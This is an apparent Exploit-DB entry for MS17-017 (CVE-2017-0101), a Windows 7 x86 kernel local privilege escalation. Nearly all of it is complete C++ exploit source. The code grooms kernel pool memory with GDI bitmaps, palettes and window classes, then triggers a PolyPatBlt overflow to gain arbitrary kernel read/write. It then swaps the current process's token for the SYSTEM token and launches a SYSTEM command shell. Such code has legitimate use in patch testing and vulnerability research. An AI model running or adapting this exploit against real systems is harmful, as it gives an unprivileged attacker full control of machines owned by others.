Microsoft Windows Kernel (7 x86) - Local Privilege Escalation (MS17-017)

EDB-ID:

44479


Author:

xiaodaozhi

Type:

local


Platform:

Windows_x86

Date:

2018-03-15


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#include <Windows.h>
#include <wingdi.h>
#include <iostream>
#include <Psapi.h>
#pragma comment(lib, "psapi.lib")

#define POCDEBUG 0

#if POCDEBUG == 1
#define POCDEBUG_BREAK() getchar()
#elif POCDEBUG == 2
#define POCDEBUG_BREAK() DebugBreak()
#else
#define POCDEBUG_BREAK()
#endif

CONST LONG maxTimes = 2000;
CONST LONG tmpTimes = 3000;
static HBITMAP hbitmap[maxTimes] = { NULL };
static HPALETTE hpalette[maxTimes] = { NULL };

static DWORD    iMemHunted = NULL;
static HBITMAP  hBmpHunted = NULL;
static PDWORD   pBmpHunted = NULL;
static HPALETTE hPalExtend = NULL;

CONST LONG iExtPaleHmgr = 809;
CONST LONG iExtcEntries = 814;
CONST LONG iExtPalColor = 828;

typedef struct _PATRECT {
    INT nXLeft;
    INT nYLeft;
    INT nWidth;
    INT nHeight;
    HBRUSH hBrush;
} PATRECT, *PPATRECT;

typedef BOOL (WINAPI *pfPolyPatBlt)(HDC hdc, DWORD rop, PPATRECT pPoly, DWORD Count, DWORD Mode);

static
BOOL xxCreateBitmaps(INT nWidth, INT Height, UINT nbitCount)
{
    POCDEBUG_BREAK();
    for (LONG i = 0; i < maxTimes; i++)
    {
        hbitmap[i] = CreateBitmap(nWidth, Height, 1, nbitCount, NULL);
        if (hbitmap[i] == NULL)
        {
            return FALSE;
        }
    }
    return TRUE;
}

static
BOOL xxDeleteBitmaps(VOID)
{
    BOOL bReturn = FALSE;
    POCDEBUG_BREAK();
    for (LONG i = 0; i < maxTimes; i++)
    {
        bReturn = DeleteObject(hbitmap[i]);
        hbitmap[i] = NULL;
    }
    return bReturn;
}

static
BOOL xxRegisterWndClasses(LPCSTR menuName)
{
    POCDEBUG_BREAK();
    CHAR buf[0x10] = { 0 };
    for (LONG i = 0; i < tmpTimes; i++)
    {
        WNDCLASSEXA Class = { 0 };
        sprintf(buf, "CLS_%d", i);
        Class.lpfnWndProc = DefWindowProcA;
        Class.lpszClassName = buf;
        Class.lpszMenuName = menuName;
        Class.cbSize = sizeof(WNDCLASSEXA);
        if (!RegisterClassExA(&Class))
        {
            return FALSE;
        }
    }
    return TRUE;
}

static
BOOL xxDigHoleInWndClasses(LONG b, LONG e)
{
    BOOL bReturn = FALSE;
    CHAR buf[0x10] = { 0 };
    for (LONG i = b; i < e; i++)
    {
        sprintf(buf, "CLS_%d", i);
        bReturn = UnregisterClassA(buf, NULL);
    }
    return bReturn;
}

static
BOOL xxUnregisterWndClasses(VOID)
{
    BOOL bReturn = FALSE;
    CHAR buf[0x10] = { 0 };
    for (LONG i = 0; i < tmpTimes; i++)
    {
        sprintf(buf, "CLS_%d", i);
        bReturn = UnregisterClassA(buf, NULL);
    }
    return bReturn;
}

static
BOOL xxCreatePalettes(ULONG cEntries)
{
    BOOL bReturn = FALSE;
    POCDEBUG_BREAK();
    PLOGPALETTE pal = NULL;
    // 0x64*4+0x58+8=0x1f0
    pal = (PLOGPALETTE)malloc(sizeof(LOGPALETTE) + cEntries * sizeof(PALETTEENTRY));
    pal->palVersion = 0x300;
    pal->palNumEntries = cEntries;
    for (LONG i = 0; i < maxTimes; i++)
    {
        hpalette[i] = CreatePalette(pal);
        if (hpalette[i] == NULL)
        {
            bReturn = FALSE;
            break;
        }
        bReturn = TRUE;
    }
    free(pal);
    return bReturn;
}

static
BOOL xxDeletePalettes(VOID)
{
    BOOL bReturn = FALSE;
    POCDEBUG_BREAK();
    for (LONG i = 0; i < maxTimes; i++)
    {
        bReturn = DeleteObject(hpalette[i]);
        hpalette[i] = NULL;
    }
    return bReturn;
}

static
BOOL xxRetrieveBitmapBits(VOID)
{
    pBmpHunted = static_cast<PDWORD>(malloc(0x1000));
    ZeroMemory(pBmpHunted, 0x1000);
    LONG index = -1;
    LONG iLeng = -1;
    POCDEBUG_BREAK();
    for (LONG i = 0; i < maxTimes; i++)
    {
        iLeng = GetBitmapBits(hbitmap[i], 0x1000, pBmpHunted);
        if (iLeng < 0xCA0)
        {
            continue;
        }
        index = i;
        std::cout << "LOCATE: " << '[' << i << ']' << hbitmap[i] << std::endl;
        hBmpHunted = hbitmap[i];
        break;
    }
    if (index == -1)
    {
        std::cout << "FAILED: " << (PVOID)(-1) << std::endl;
        return FALSE;
    }
    return TRUE;
}

static
VOID xxOutputBitmapBits(VOID)
{
    POCDEBUG_BREAK();
    for (LONG i = 0; i < 0x1000 / sizeof(DWORD); i++)
    {
        std::cout << '[';
        std::cout.fill('0');
        std::cout.width(4);
        std::cout << i << ']' << (PVOID)pBmpHunted[i];
        if (((i + 1) % 4) != 0)
        {
            std::cout << " ";
        }
        else
        {
            std::cout << std::endl;
        }
    }
    std::cout.width(0);
}

static
BOOL xxGetExtendPalette(HPALETTE hHandle)
{
    LONG index = -1;
    POCDEBUG_BREAK();
    for (LONG i = 0; i < maxTimes; i++)
    {
        if (hpalette[i] != hHandle)
        {
            continue;
        }
        index = i;
        std::cout << "LOCATE: " << '[' << i << ']' << hpalette[i] << std::endl;
        hPalExtend = hpalette[i];
        break;
    }
    if (index == -1)
    {
        std::cout << "FAILED: " << (PVOID)(-1) << std::endl;
        return FALSE;
    }
    return TRUE;
}

static
BOOL xxPoint(LONG id, DWORD Value)
{
    LONG iLeng = 0x00;
    pBmpHunted[id] = Value;
    iLeng = SetBitmapBits(hBmpHunted, 0xD00, pBmpHunted);
    if (iLeng < 0xD00)
    {
        return FALSE;
    }
    return TRUE;
}

static
BOOL xxPointToHit(LONG addr, PVOID pvBits, DWORD cb)
{
    UINT iLeng = 0;
    pBmpHunted[iExtPalColor] = addr;
    iLeng = SetBitmapBits(hBmpHunted, 0xD00, pBmpHunted);
    if (iLeng < 0xD00)
    {
        return FALSE;
    }
    PVOID pvTable = NULL;
    UINT cbSize = (cb + 3) & ~3; // sizeof(PALETTEENTRY) => 4
    pvTable = malloc(cbSize);
    memcpy(pvTable, pvBits, cb);
    iLeng = SetPaletteEntries(hPalExtend, 0, cbSize / 4, (PPALETTEENTRY)pvTable);
    free(pvTable);
    if (iLeng < cbSize / 4)
    {
        return FALSE;
    }
    return TRUE;
}

static
BOOL xxPointToGet(LONG addr, PVOID pvBits, DWORD cb)
{
    BOOL iLeng = 0;
    pBmpHunted[iExtPalColor] = addr;
    iLeng = SetBitmapBits(hBmpHunted, 0xD00, pBmpHunted);
    if (iLeng < 0xD00)
    {
        return FALSE;
    }
    PVOID pvTable = NULL;
    UINT cbSize = (cb + 3) & ~3; // sizeof(PALETTEENTRY) => 4
    pvTable = malloc(cbSize);
    iLeng = GetPaletteEntries(hPalExtend, 0, cbSize / 4, (PPALETTEENTRY)pvTable);
    memcpy(pvBits, pvTable, cb);
    free(pvTable);
    if (iLeng < cbSize / 4)
    {
        return FALSE;
    }
    return TRUE;
}

static
BOOL xxFixHuntedPoolHeader(VOID)
{
    DWORD szInputBit[0x100] = { 0 };
    CONST LONG iTrueBmpHead = 937;
    szInputBit[0] = pBmpHunted[iTrueBmpHead + 0];
    szInputBit[1] = pBmpHunted[iTrueBmpHead + 1];
    BOOL bReturn = FALSE;
    bReturn = xxPointToHit(iMemHunted + 0x000, szInputBit, 0x08);
    if (!bReturn)
    {
        return FALSE;
    }
    return TRUE;
}

static
BOOL xxFixHuntedBitmapObject(VOID)
{
    DWORD szInputBit[0x100] = { 0 };
    szInputBit[0] = (DWORD)hBmpHunted;
    BOOL bReturn = FALSE;
    bReturn = xxPointToHit(iMemHunted + 0x08, szInputBit, 0x04);
    if (!bReturn)
    {
        return FALSE;
    }
    bReturn = xxPointToHit(iMemHunted + 0x1c, szInputBit, 0x04);
    if (!bReturn)
    {
        return FALSE;
    }
    return TRUE;
}

static
DWORD_PTR
xxGetNtoskrnlAddress(VOID)
{
    DWORD_PTR AddrList[500] = { 0 };
    DWORD cbNeeded = 0;
    EnumDeviceDrivers((LPVOID *)&AddrList, sizeof(AddrList), &cbNeeded);
    return AddrList[0];
}

static
DWORD_PTR
xxGetSysPROCESS(VOID)
{
    DWORD_PTR Module = 0x00;
    DWORD_PTR NtAddr = 0x00;
    Module = (DWORD_PTR)LoadLibraryA("ntkrnlpa.exe");
    NtAddr = (DWORD_PTR)GetProcAddress((HMODULE)Module, "PsInitialSystemProcess");
    FreeLibrary((HMODULE)Module);
    NtAddr = NtAddr - Module;
    Module = xxGetNtoskrnlAddress();
    if (Module == 0x00)
    {
        return 0x00;
    }
    NtAddr = NtAddr + Module;
    if (!xxPointToGet(NtAddr, &NtAddr, sizeof(DWORD_PTR)))
    {
        return 0x00;
    }
    return NtAddr;
}

CONST LONG off_EPROCESS_UniqueProId = 0x0b4;
CONST LONG off_EPROCESS_ActiveLinks = 0x0b8;

static
DWORD_PTR
xxGetTarPROCESS(DWORD_PTR SysPROC)
{
    if (SysPROC == 0x00)
    {
        return 0x00;
    }
    DWORD_PTR point = SysPROC;
    DWORD_PTR value = 0x00;
    do
    {
        value = 0x00;
        xxPointToGet(point + off_EPROCESS_UniqueProId, &value, sizeof(DWORD_PTR));
        if (value == 0x00)
        {
            break;
        }
        if (value == GetCurrentProcessId())
        {
            return point;
        }
        value = 0x00;
        xxPointToGet(point + off_EPROCESS_ActiveLinks, &value, sizeof(DWORD_PTR));
        if (value == 0x00)
        {
            break;
        }
        point = value - off_EPROCESS_ActiveLinks;
        if (point == SysPROC)
        {
            break;
        }
    } while (TRUE);
    return 0x00;
}

CONST LONG off_EPROCESS_Token = 0x0f8;
static DWORD_PTR dstToken = 0x00;
static DWORD_PTR srcToken = 0x00;

static
BOOL
xxModifyTokenPointer(DWORD_PTR dstPROC, DWORD_PTR srcPROC)
{
    if (dstPROC == 0x00 || srcPROC == 0x00)
    {
        return FALSE;
    }
    // get target process original token pointer
    xxPointToGet(dstPROC + off_EPROCESS_Token, &dstToken, sizeof(DWORD_PTR));
    if (dstToken == 0x00)
    {
        return FALSE;
    }
    // get system process token pointer
    xxPointToGet(srcPROC + off_EPROCESS_Token, &srcToken, sizeof(DWORD_PTR));
    if (srcToken == 0x00)
    {
        return FALSE;
    }
    // modify target process token pointer to system
    xxPointToHit(dstPROC + off_EPROCESS_Token, &srcToken, sizeof(DWORD_PTR));
    // just test if the modification is successful
    DWORD_PTR tmpToken = 0x00;
    xxPointToGet(dstPROC + off_EPROCESS_Token, &tmpToken, sizeof(DWORD_PTR));
    if (tmpToken != srcToken)
    {
        return FALSE;
    }
    return TRUE;
}

static
BOOL
xxRecoverTokenPointer(DWORD_PTR dstPROC, DWORD_PTR srcPROC)
{
    if (dstPROC == 0x00 || srcPROC == 0x00)
    {
        return FALSE;
    }
    if (dstToken == 0x00 || srcToken == 0x00)
    {
        return FALSE;
    }
    // recover the original token pointer to target process
    xxPointToHit(dstPROC + off_EPROCESS_Token, &dstToken, sizeof(DWORD_PTR));
    return TRUE;
}

static
VOID xxCreateCmdLineProcess(VOID)
{
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

static
VOID xxPrivilegeElevation(VOID)
{
    BOOL bReturn = FALSE;
    do
    {
        DWORD SysPROC = 0x0;
        DWORD TarPROC = 0x0;
        POCDEBUG_BREAK();
        SysPROC = xxGetSysPROCESS();
        if (SysPROC == 0x00)
        {
            break;
        }
        std::cout << "SYSTEM PROCESS: " << (PVOID)SysPROC << std::endl;
        POCDEBUG_BREAK();
        TarPROC = xxGetTarPROCESS(SysPROC);
        if (TarPROC == 0x00)
        {
            break;
        }
        std::cout << "TARGET PROCESS: " << (PVOID)TarPROC << std::endl;
        POCDEBUG_BREAK();
        bReturn = xxModifyTokenPointer(TarPROC, SysPROC);
        if (!bReturn)
        {
            break;
        }
        std::cout << "MODIFIED TOKEN TO SYSTEM!" << std::endl;
        std::cout << "CREATE NEW CMDLINE PROCESS..." << std::endl;
        POCDEBUG_BREAK();
        xxCreateCmdLineProcess();
        POCDEBUG_BREAK();
        std::cout << "RECOVER TOKEN..." << std::endl;
        bReturn = xxRecoverTokenPointer(TarPROC, SysPROC);
        if (!bReturn)
        {
            break;
        }
        bReturn = TRUE;
    } while (FALSE);
    if (!bReturn)
    {
        std::cout << "FAILED" << std::endl;
    }
}

INT POC_CVE20170101(VOID)
{
    std::cout << "-------------------" << std::endl;
    std::cout << "POC - CVE-2017-0101" << std::endl;
    std::cout << "-------------------" << std::endl;

    BOOL bReturn = FALSE;
    HDC hdc = NULL;
    HBITMAP hbmp = NULL;
    HBRUSH hbru = NULL;
    pfPolyPatBlt pfnPolyPatBlt = NULL;
    do
    {
        hdc = GetDC(NULL);
        std::cout << "GET DEVICE CONTEXT: " << hdc << std::endl;
        if (hdc == NULL)
        {
            break;
        }

        std::cout << "CREATE PATTERN BRUSH BITMAP..." << std::endl;
        hbmp = CreateBitmap(0x36D, 0x12AE8F, 1, 1, NULL);
        if (hbmp == NULL)
        {
            break;
        }

        std::cout << "CREATE PATTERN BRUSH..." << std::endl;
        hbru = CreatePatternBrush(hbmp);
        if (hbru == NULL)
        {
            break;
        }

        std::cout << "CREATE BITMAPS (1)..." << std::endl;
        bReturn = xxCreateBitmaps(0xE8C, 1, 8);
        if (!bReturn)
        {
            break;
        }

        std::cout << "REGISTER WINDOW CLASSES..." << std::endl;
        bReturn = xxRegisterWndClasses("KCUF");
        if (!bReturn)
        {
            break;
        }

        std::cout << "DELETE BITMAPS (1)..." << std::endl;
        xxDeleteBitmaps();

        std::cout << "CREATE BITMAPS (2)..." << std::endl;
        bReturn = xxCreateBitmaps(0xC98, 1, 8);
        if (!bReturn)
        {
            break;
        }

        std::cout << "CREATE PALETTES (1)..." << std::endl;
        bReturn = xxCreatePalettes(0x64);
        if (!bReturn)
        {
            break;
        }

        std::cout << "UNREGISTER WINDOW CLASSES (H)..." << std::endl;
        xxDigHoleInWndClasses(1000, 2000);

        std::cout << "POLYPATBLT..." << std::endl;
        POCDEBUG_BREAK();
        pfnPolyPatBlt = (pfPolyPatBlt)GetProcAddress(GetModuleHandleA("gdi32"), "PolyPatBlt");
        if (pfnPolyPatBlt == NULL)
        {
            break;
        }
        PATRECT ppb[1] = { 0 };
        ppb[0].nXLeft  = 0x100;
        ppb[0].nYLeft  = 0x100;
        ppb[0].nWidth  = 0x100;
        ppb[0].nHeight = 0x100;
        ppb[0].hBrush  = hbru;
        pfnPolyPatBlt(hdc, PATCOPY, ppb, 1, 0);

        std::cout << "LOCATE HUNTED BITMAP..." << std::endl;
        bReturn = xxRetrieveBitmapBits();
        if (!bReturn)
        {
            break;
        }

        // std::cout << "OUTPUT BITMAP BITS..." << std::endl;
        // xxOutputBitmapBits();

        std::cout << "LOCATE EXTEND PALETTE..." << std::endl;
        bReturn = xxGetExtendPalette((HPALETTE)pBmpHunted[iExtPaleHmgr]);
        if (!bReturn)
        {
            break;
        }

        if ((pBmpHunted[iExtcEntries]) != 0x64 ||
            (pBmpHunted[iExtPalColor] & 0xFFF) != 0x00000E54)
        {
            bReturn = FALSE;
            std::cout << "FAILED: " << (PVOID)pBmpHunted[iExtPalColor] << std::endl;
            break;
        }
        iMemHunted = (pBmpHunted[iExtPalColor] & ~0xFFF);
        std::cout << "HUNTED PAGE: " << (PVOID)iMemHunted << std::endl;
        std::cout << "FIX HUNTED POOL HEADER..." << std::endl;
        bReturn = xxFixHuntedPoolHeader();
        if (!bReturn)
        {
            break;
        }

        std::cout << "FIX HUNTED BITMAP OBJECT..." << std::endl;
        bReturn = xxFixHuntedBitmapObject();
        if (!bReturn)
        {
            break;
        }

        std::cout << "-------------------" << std::endl;
        std::cout << "PRIVILEGE ELEVATION" << std::endl;
        std::cout << "-------------------" << std::endl;
        xxPrivilegeElevation();
        std::cout << "-------------------" << std::endl;

        std::cout << "DELETE BITMAPS (2)..." << std::endl;
        xxDeleteBitmaps();

        std::cout << "DELETE PALETTES (1)..." << std::endl;
        xxDeletePalettes();

        bReturn = TRUE;
    } while (FALSE);

    if (bReturn == FALSE)
    {
        std::cout << GetLastError() << std::endl;
    }

    POCDEBUG_BREAK();
    std::cout << "DELETE BRUSH..." << std::endl;
    DeleteObject(hbru);
    DeleteObject(hbmp);

    std::cout << "UNREGISTER WINDOW CLASSES (1)..." << std::endl;
    xxUnregisterWndClasses();

    std::cout << "-------------------" << std::endl;
    getchar();
    return 0;
}

INT main(INT argc, CHAR *argv[])
{
    POC_CVE20170101();
    return 0;
}